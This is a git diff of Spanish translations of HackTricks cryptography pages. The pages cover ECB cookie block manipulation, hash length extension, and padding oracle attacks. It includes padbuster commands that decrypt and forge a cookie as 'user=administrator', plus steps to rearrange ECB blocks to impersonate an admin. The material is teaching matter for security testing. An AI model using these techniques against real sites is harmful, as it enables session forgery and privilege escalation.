-Aprende hacking en AWS de cero a héroe conhtARTE (HackTricks AWS Red Team Expert)!
+Aprende hacking en AWS desde cero hasta convertirte en un experto conhtARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
-* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
-* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
-* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
+* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
+* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
+* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
+* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
# ECB
-(ECB) Libro de Código Electrónico - esquema de cifrado simétrico que **reemplaza cada bloque del texto claro** por el **bloque de texto cifrado**. Es el esquema de cifrado **más simple**. La idea principal es **dividir** el texto claro en **bloques de N bits** (depende del tamaño del bloque de datos de entrada, algoritmo de cifrado) y luego cifrar (descifrar) cada bloque de texto claro usando una única clave.
+(ECB) Electronic Code Book - esquema de cifrado simétrico que **reemplaza cada bloque del texto claro** por el **bloque de texto cifrado**. Es el esquema de cifrado **más simple**. La idea principal es **dividir** el texto claro en **bloques de N bits** (dependiendo del tamaño del bloque de datos de entrada, algoritmo de cifrado) y luego cifrar (descifrar) cada bloque de texto claro utilizando la única clave.
![](https://upload.wikimedia.org/wikipedia/commons/thumb/e/e6/ECB_decryption.svg/601px-ECB_decryption.svg.png)
-Usar ECB tiene múltiples implicaciones de seguridad:
+El uso de ECB tiene múltiples implicaciones de seguridad:
-* **Se pueden eliminar bloques del mensaje cifrado**
-* **Se pueden mover bloques del mensaje cifrado**
+* **Los bloques del mensaje cifrado pueden ser eliminados**
+* **Los bloques del mensaje cifrado pueden ser movidos**
# Detección de la vulnerabilidad
Imagina que inicias sesión en una aplicación varias veces y **siempre obtienes la misma cookie**. Esto se debe a que la cookie de la aplicación es **`|`**.\
-Luego, generas dos nuevos usuarios, ambos con la **misma contraseña larga** y **casi** el **mismo nombre de usuario**.\
-Descubres que los **bloques de 8B** donde la **información de ambos usuarios** es la misma son **iguales**. Entonces, imaginas que esto podría ser porque **se está utilizando ECB**.
+Luego, generas dos nuevos usuarios, ambos con la **misma contraseña larga** y **casi** el **mismo** **nombre de usuario**.\
+Descubres que los **bloques de 8B** donde la **información de ambos usuarios** es la misma son **iguales**. Entonces, imaginas que esto podría ser porque se está utilizando **ECB**.
-Como en el siguiente ejemplo. Observa cómo estas **2 cookies descodificadas** tienen varias veces el bloque **`\x23U\xE45K\xCB\x21\xC8`**
+Como en el siguiente ejemplo. Observa cómo estas **2 cookies decodificadas** tienen varias veces el bloque **`\x23U\xE45K\xCB\x21\xC8`**
```
\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9
@@ -38,57 +38,42 @@ Como en el siguiente ejemplo. Observa cómo estas **2 cookies descodificadas** t
```
Esto se debe a que el **nombre de usuario y la contraseña de esas cookies contenían varias veces la letra "a"** (por ejemplo). Los **bloques** que son **diferentes** son bloques que contenían **al menos 1 carácter diferente** (quizás el delimitador "|" o alguna diferencia necesaria en el nombre de usuario).
-Ahora, el atacante solo necesita descubrir si el formato es `` o ``. Para hacerlo, puede simplemente **generar varios nombres de usuario** con **nombres de usuario y contraseñas similares y largos hasta que encuentre el formato y la longitud del delimitador:**
+Ahora, el atacante solo necesita descubrir si el formato es `` o ``. Para hacer eso, simplemente puede **generar varios nombres de usuario** con nombres de usuario y contraseñas **similares y largos hasta encontrar el formato y la longitud del delimitador:**
-| Longitud del nombre de usuario: | Longitud de la contraseña: | Longitud de nombre de usuario+contraseña: | Longitud de la cookie (después de decodificar): |
-| ------------------------------- | -------------------------- | ----------------------------------------- | ------------------------------------------------ |
-| 2 | 2 | 4 | 8 |
-| 3 | 3 | 6 | 8 |
-| 3 | 4 | 7 | 8 |
-| 4 | 4 | 8 | 16 |
-| 7 | 7 | 14 | 16 |
+| Longitud del nombre de usuario: | Longitud de la contraseña: | Longitud de nombre de usuario + contraseña: | Longitud de la cookie (después de decodificar): |
+| ------------------------------- | -------------------------- | ------------------------------------------- | --------------------------------------------- |
+| 2 | 2 | 4 | 8 |
+| 3 | 3 | 6 | 8 |
+| 3 | 4 | 7 | 8 |
+| 4 | 4 | 8 | 16 |
+| 7 | 7 | 14 | 16 |
# Explotación de la vulnerabilidad
-## Eliminando bloques enteros
+## Eliminación de bloques enteros
-Conociendo el formato de la cookie (`|`), para suplantar al usuario `admin` crea un nuevo usuario llamado `aaaaaaaaadmin` y obtén la cookie y descodifícala:
+Conociendo el formato de la cookie (`|`), para hacerse pasar por el nombre de usuario `admin`, crea un nuevo usuario llamado `aaaaaaaaadmin` y obtén la cookie y descódifícala:
```
\x23U\xE45K\xCB\x21\xC8\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4
```
-Podemos ver el patrón `\x23U\xE45K\xCB\x21\xC8` creado previamente con el nombre de usuario que contenía solo `a`.\
+Podemos ver el patrón `\x23U\xE45K\xCB\x21\xC8` creado previamente con el nombre de usuario que solo contenía `a`.\
Luego, puedes eliminar el primer bloque de 8B y obtendrás una cookie válida para el nombre de usuario `admin`:
```
\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4
```
## Moviendo bloques
-En muchas bases de datos es lo mismo buscar `WHERE username='admin';` o `WHERE username='admin ';` _(Nota los espacios extras)_
+En muchas bases de datos es lo mismo buscar `WHERE username='admin';` o `WHERE username='admin ';` _(Nota los espacios adicionales)_
-Entonces, otra manera de suplantar al usuario `admin` sería:
+Entonces, otra forma de hacerse pasar por el usuario `admin` sería:
-* Generar un nombre de usuario que: `len() + len(` generará 2 bloques de 8Bs.
-* Luego, generar una contraseña que llene un número exacto de bloques conteniendo el nombre de usuario que queremos suplantar y espacios, como: `admin `
+* Generar un nombre de usuario que: `len() + len(` generará 2 bloques de 8B.
+* Luego, generar una contraseña que llene un número exacto de bloques que contengan el nombre de usuario que queremos suplantar y espacios, como: `admin `
-La cookie de este usuario estará compuesta por 3 bloques: los primeros 2 son los bloques del nombre de usuario + delimitador y el tercero de la contraseña (que está fingiendo ser el nombre de usuario): `username |admin `
+La cookie de este usuario estará compuesta por 3 bloques: los primeros 2 son los bloques del nombre de usuario + delimitador y el tercero de la contraseña (que está falsificando el nombre de usuario): `username |admin `
-** Entonces, solo reemplaza el primer bloque con el último y estarás suplantando al usuario `admin`: `admin |username`**
+** Luego, simplemente reemplace el primer bloque con el último y estará suplantando al usuario `admin`: `admin |username`**
# Referencias
* [http://cryptowiki.net/index.php?title=Electronic_Code_Book\_(ECB)](http://cryptowiki.net/index.php?title=Electronic_Code_Book_\(ECB\))
-
-
-
-
-Aprende hacking en AWS de cero a héroe conhtARTE (HackTricks AWS Red Team Expert)!
-
-Otras maneras de apoyar a HackTricks:
-
-* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
-* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
-* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
-
-
diff --git a/cryptography/hash-length-extension-attack.md b/cryptography/hash-length-extension-attack.md
index c768498f8..5caa769a0 100644
--- a/cryptography/hash-length-extension-attack.md
+++ b/cryptography/hash-length-extension-attack.md
@@ -1,42 +1,42 @@
-Aprende hacking en AWS de cero a héroe conhtARTE (HackTricks AWS Red Team Expert)!
+Aprende hacking en AWS desde cero hasta experto conhtARTE (Experto en Red Team de AWS de HackTricks)!
Otras formas de apoyar a HackTricks:
-* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
-* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
-* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
+* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
+* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
+* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
+* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
# Resumen del ataque
-Imagina un servidor que está **firmando** algunos **datos** **añadiendo** un **secreto** a algunos datos de texto claro conocidos y luego hasheando esos datos. Si conoces:
+Imagina un servidor que está **firmando** algunos **datos** al **añadir** un **secreto** a algunos datos de texto claro conocidos y luego hasheando esos datos. Si conoces:
-* **La longitud del secreto** (esto también puede ser forzado bruscamente desde un rango de longitud dado)
+* **La longitud del secreto** (esto también se puede obtener por fuerza bruta dentro de un rango de longitud dado)
* **Los datos de texto claro**
-* **El algoritmo (y es vulnerable a este ataque)**
-* **El padding es conocido**
-* Usualmente se utiliza uno por defecto, así que si se cumplen los otros 3 requisitos, este también se cumple
-* El padding varía dependiendo de la longitud del secreto+datos, por eso se necesita la longitud del secreto
+* **El algoritmo (y que sea vulnerable a este ataque)**
+* **El relleno es conocido**
+* Por lo general, se usa uno predeterminado, por lo que si se cumplen los otros 3 requisitos, este también lo está
+* El relleno varía dependiendo de la longitud del secreto+datos, por eso se necesita la longitud del secreto
-Entonces, es posible para un **atacante** **añadir** **datos** y **generar** una **firma válida** para los **datos previos + datos añadidos**.
+Entonces, es posible para un **atacante** **añadir** **datos** y **generar** una **firma** válida para los **datos previos + datos añadidos**.
## ¿Cómo?
-Básicamente los algoritmos vulnerables generan los hashes primero **hasheando un bloque de datos**, y luego, **desde** el **hash previamente** creado **(estado)**, **añaden el siguiente bloque de datos** y **lo hashean**.
+Básicamente, los algoritmos vulnerables generan los hashes primero **hasheando un bloque de datos**, y luego, **a partir** del **hash creado previamente** (estado), **añaden el siguiente bloque de datos** y lo **hashean**.
-Entonces, imagina que el secreto es "secret" y los datos son "data", el MD5 de "secretdata" es 6036708eba0d11f6ef52ad44e8b74d5b.\
-Si un atacante quiere añadir la cadena "append", puede:
+Entonces, imagina que el secreto es "secreto" y los datos son "datos", el MD5 de "secretodata" es 6036708eba0d11f6ef52ad44e8b74d5b.\
+Si un atacante quiere añadir la cadena "añadir" puede:
* Generar un MD5 de 64 "A"s
-* Cambiar el estado del hash previamente inicializado a 6036708eba0d11f6ef52ad44e8b74d5b
-* Añadir la cadena "append"
-* Finalizar el hash y el hash resultante será un **válido para "secret" + "data" + "padding" + "append"**
+* Cambiar el estado del hash inicializado previamente a 6036708eba0d11f6ef52ad44e8b74d5b
+* Añadir la cadena "añadir"
+* Finalizar el hash y el hash resultante será uno **válido para "secreto" + "datos" + "relleno" + "añadir"**
## **Herramienta**
@@ -49,14 +49,14 @@ Puedes encontrar este ataque bien explicado en [https://blog.skullsecurity.org/2
-Aprende hacking en AWS de cero a héroe conhtARTE (HackTricks AWS Red Team Expert)!
+Aprende hacking en AWS desde cero hasta experto conhtARTE (Experto en Red Team de AWS de HackTricks)!
Otras formas de apoyar a HackTricks:
-* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
-* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
-* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
+* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
+* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
+* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
+* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/cryptography/padding-oracle-priv.md b/cryptography/padding-oracle-priv.md
index ac23b98a7..0a31099e2 100644
--- a/cryptography/padding-oracle-priv.md
+++ b/cryptography/padding-oracle-priv.md
@@ -1,34 +1,34 @@
-Aprende hacking en AWS de cero a héroe conhtARTE (HackTricks AWS Red Team Expert)!
+Aprende hacking en AWS de cero a héroe conhtARTE (Experto en Equipo Rojo de AWS de HackTricks)!
Otras formas de apoyar a HackTricks:
-* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
-* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
-* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
+* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
+* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
+* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
+* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
-# CBC - Encadenamiento de Bloques de Cifrado
+# CBC - Cipher Block Chaining
En el modo CBC, el **bloque cifrado anterior se utiliza como IV** para hacer XOR con el siguiente bloque:
![Cifrado CBC](https://defuse.ca/images/cbc\_encryption.png)
-Para descifrar CBC se realizan las **operaciones opuestas**:
+Para descifrar CBC se realizan las **operaciones** **opuestas**:
![Descifrado CBC](https://defuse.ca/images/cbc\_decryption.png)
-Nótese que se necesita usar una **clave de cifrado** y un **IV**.
+Observa cómo es necesario utilizar una **clave de cifrado** y un **IV**.
-# Relleno de Mensajes
+# Relleno de Mensaje
-Como el cifrado se realiza en **bloques de tamaño fijo**, generalmente se necesita **relleno** en el **último bloque** para completar su longitud.\
-Normalmente se utiliza **PKCS7**, que genera un relleno **repitiendo** el **número de bytes necesarios** para **completar** el bloque. Por ejemplo, si al último bloque le faltan 3 bytes, el relleno será `\x03\x03\x03`.
+Como el cifrado se realiza en **bloques de tamaño fijo**, generalmente se necesita un **relleno** en el **último bloque** para completar su longitud.\
+Normalmente se utiliza **PKCS7**, que genera un relleno **repitiendo** el **número** de **bytes** **necesarios** para **completar** el bloque. Por ejemplo, si al último bloque le faltan 3 bytes, el relleno será `\x03\x03\x03`.
Veamos más ejemplos con **2 bloques de longitud 8 bytes**:
@@ -39,13 +39,13 @@ Veamos más ejemplos con **2 bloques de longitud 8 bytes**:
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** |
| P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** |
-Note cómo en el último ejemplo el **último bloque estaba lleno, por lo que se generó otro solo con relleno**.
+Observa cómo en el último ejemplo el **último bloque estaba lleno, por lo que se generó otro solo con relleno**.
-# Oracle de Relleno
+# Oráculo de Relleno
-Cuando una aplicación descifra datos cifrados, primero descifrará los datos; luego eliminará el relleno. Durante la limpieza del relleno, si un **relleno inválido provoca un comportamiento detectable**, tienes una **vulnerabilidad de oracle de relleno**. El comportamiento detectable puede ser un **error**, una **falta de resultados**, o una **respuesta más lenta**.
+Cuando una aplicación descifra datos cifrados, primero descifrará los datos; luego eliminará el relleno. Durante la limpieza del relleno, si un **relleno inválido desencadena un comportamiento detectable**, tienes una **vulnerabilidad de oráculo de relleno**. El comportamiento detectable puede ser un **error**, una **falta de resultados**, o una **respuesta más lenta**.
-Si detectas este comportamiento, puedes **descifrar los datos cifrados** e incluso **cifrar cualquier texto en claro**.
+Si detectas este comportamiento, puedes **descifrar los datos cifrados** e incluso **cifrar cualquier texto plano**.
## Cómo explotar
@@ -53,29 +53,29 @@ Podrías usar [https://github.com/AonCyberLabs/PadBuster](https://github.com/Aon
```
sudo apt-get install padbuster
```
-Para probar si la cookie de un sitio es vulnerable podrías intentar:
+Para probar si la cookie de un sitio es vulnerable, podrías intentar:
```bash
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA=="
```
-**La codificación 0** significa que se utiliza **base64** (pero hay otras disponibles, consulta el menú de ayuda).
+**Codificación 0** significa que se utiliza **base64** (pero hay otros disponibles, consulta el menú de ayuda).
-También podrías **abusar de esta vulnerabilidad para cifrar nuevos datos. Por ejemplo, imagina que el contenido de la cookie es "**_**user=MyUsername**_**", entonces podrías cambiarlo a "\_user=administrator\_" y escalar privilegios dentro de la aplicación. También podrías hacerlo usando `paduster` especificando el parámetro -plaintext**:
+También podrías **abusar de esta vulnerabilidad para cifrar nuevos datos. Por ejemplo, imagina que el contenido de la cookie es "**_**user=MyUsername**_**", entonces podrías cambiarlo a "\_user=administrator\_" y escalar privilegios dentro de la aplicación. También podrías hacerlo usando `padbuster` especificando el parámetro -plaintext**:
```bash
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator"
```
-Si el sitio es vulnerable, `padbuster` intentará automáticamente encontrar cuándo ocurre el error de relleno, pero también puedes indicar el mensaje de error utilizando el parámetro **-error**.
+Si el sitio es vulnerable, `padbuster` intentará automáticamente encontrar cuándo ocurre el error de relleno, pero también puedes indicar el mensaje de error usando el parámetro **-error**.
```bash
perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding"
```
## La teoría
-En **resumen**, puedes comenzar a descifrar los datos encriptados adivinando los valores correctos que pueden usarse para crear todos los **diferentes rellenos**. Luego, el ataque del oráculo de relleno comenzará a descifrar bytes desde el final hasta el inicio adivinando cuál será el valor correcto que **crea un relleno de 1, 2, 3, etc**.
+En **resumen**, puedes comenzar a descifrar los datos encriptados adivinando los valores correctos que se pueden usar para crear todos los **diferentes rellenos**. Luego, el ataque de oráculo de relleno comenzará a descifrar bytes desde el final hasta el principio adivinando cuál será el valor correcto que **crea un relleno de 1, 2, 3, etc**.
![](<../.gitbook/assets/image (629) (1) (1).png>)
-Imagina que tienes un texto cifrado que ocupa **2 bloques** formados por los bytes de **E0 a E15**.\
-Para **descifrar** el **último** **bloque** (**E8** a **E15**), todo el bloque pasa por el "descifrado de cifrado de bloque" generando los **bytes intermedios I0 a I15**.\
-Finalmente, cada byte intermedio se **XORea** con los bytes cifrados anteriores (E0 a E7). Entonces:
+Imagina que tienes un texto encriptado que ocupa **2 bloques** formados por los bytes de **E0 a E15**.\
+Para **descifrar** el **último** **bloque** (**E8** a **E15**), todo el bloque pasa por la "desencriptación del cifrado de bloque" generando los **bytes intermedios I0 a I15**.\
+Finalmente, cada byte intermedio es **XORed** con los bytes encriptados anteriores (E0 a E7). Así que:
* `C15 = D(E15) ^ E7 = I15 ^ E7`
* `C14 = I14 ^ E6`
@@ -85,24 +85,24 @@ Finalmente, cada byte intermedio se **XORea** con los bytes cifrados anteriores
Ahora, es posible **modificar `E7` hasta que `C15` sea `0x01`**, lo que también será un relleno correcto. Entonces, en este caso: `\x01 = I15 ^ E'7`
-Así, encontrando E'7, es **posible calcular I15**: `I15 = 0x01 ^ E'7`
+Por lo tanto, al encontrar E'7, es **posible calcular I15**: `I15 = 0x01 ^ E'7`
Lo que nos permite **calcular C15**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
-Conociendo **C15**, ahora es posible **calcular C14**, pero esta vez forzando bruscamente el relleno `\x02\x02`.
+Conociendo **C15**, ahora es posible **calcular C14**, pero esta vez probando el relleno `\x02\x02`.
-Este BF es tan complejo como el anterior ya que es posible calcular el `E''15` cuyo valor es 0x02: `E''7 = \x02 ^ I15` por lo que solo es necesario encontrar el **`E'14`** que genera un **`C14` igual a `0x02`**.\
-Luego, hacer los mismos pasos para descifrar C14: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
+Este BF es tan complejo como el anterior ya que es posible calcular el `E''15` cuyo valor es 0x02: `E''7 = \x02 ^ I15` por lo que solo es necesario encontrar el **`E'14`** que genere un **`C14` igual a `0x02`**.\
+Luego, sigue los mismos pasos para descifrar C14: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
-**Sigue esta cadena hasta que descifres todo el texto cifrado.**
+**Sigue esta cadena hasta descifrar todo el texto encriptado.**
## Detección de la vulnerabilidad
-Registra una cuenta e inicia sesión con ella.\
-Si **inicias sesión muchas veces** y siempre obtienes la **misma cookie**, probablemente haya **algo** **incorrecto** en la aplicación. La **cookie enviada debería ser única** cada vez que inicies sesión. Si la cookie es **siempre** la **misma**, probablemente siempre será válida y **no habrá forma de invalidarla**.
+Registra una cuenta e inicia sesión con esta cuenta.\
+Si **inicias sesión muchas veces** y siempre obtienes la **misma cookie**, probablemente haya **algo** **incorrecto** en la aplicación. La **cookie enviada de vuelta debería ser única** cada vez que inicias sesión. Si la cookie es **siempre** la **misma**, probablemente siempre será válida y **no habrá forma de invalidarla**.
-Ahora, si intentas **modificar** la **cookie**, puedes ver que obtienes un **error** de la aplicación.\
-Pero si fuerzas bruscamente el relleno (usando padbuster, por ejemplo) logras obtener otra cookie válida para un usuario diferente. Este escenario es altamente probablemente vulnerable a padbuster.
+Ahora, si intentas **modificar** la **cookie**, verás que recibes un **error** de la aplicación.\
+Pero si haces un BF al relleno (usando padbuster, por ejemplo) lograrás obtener otra cookie válida para un usuario diferente. Este escenario es altamente probablemente vulnerable a padbuster.
# Referencias
@@ -111,14 +111,14 @@ Pero si fuerzas bruscamente el relleno (usando padbuster, por ejemplo) logras ob
-Aprende hacking en AWS de cero a héroe conhtARTE (HackTricks AWS Red Team Expert)!
+Aprende a hackear AWS desde cero hasta experto conhtARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
-* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
-* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
-* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
+* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
+* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
+* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
+* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/cryptography/rc4-encrypt-and-decrypt.md b/cryptography/rc4-encrypt-and-decrypt.md
index f9bc93039..1b8709881 100644
--- a/cryptography/rc4-encrypt-and-decrypt.md
+++ b/cryptography/rc4-encrypt-and-decrypt.md
@@ -1,40 +1,22 @@
-Aprende hacking en AWS de cero a héroe conhtARTE (HackTricks AWS Red Team Expert)!
+Aprende a hackear AWS de cero a héroe conhtARTE (Experto en Equipos Rojos de AWS de HackTricks)!
Otras formas de apoyar a HackTricks:
-* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
-* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
-* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
+* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
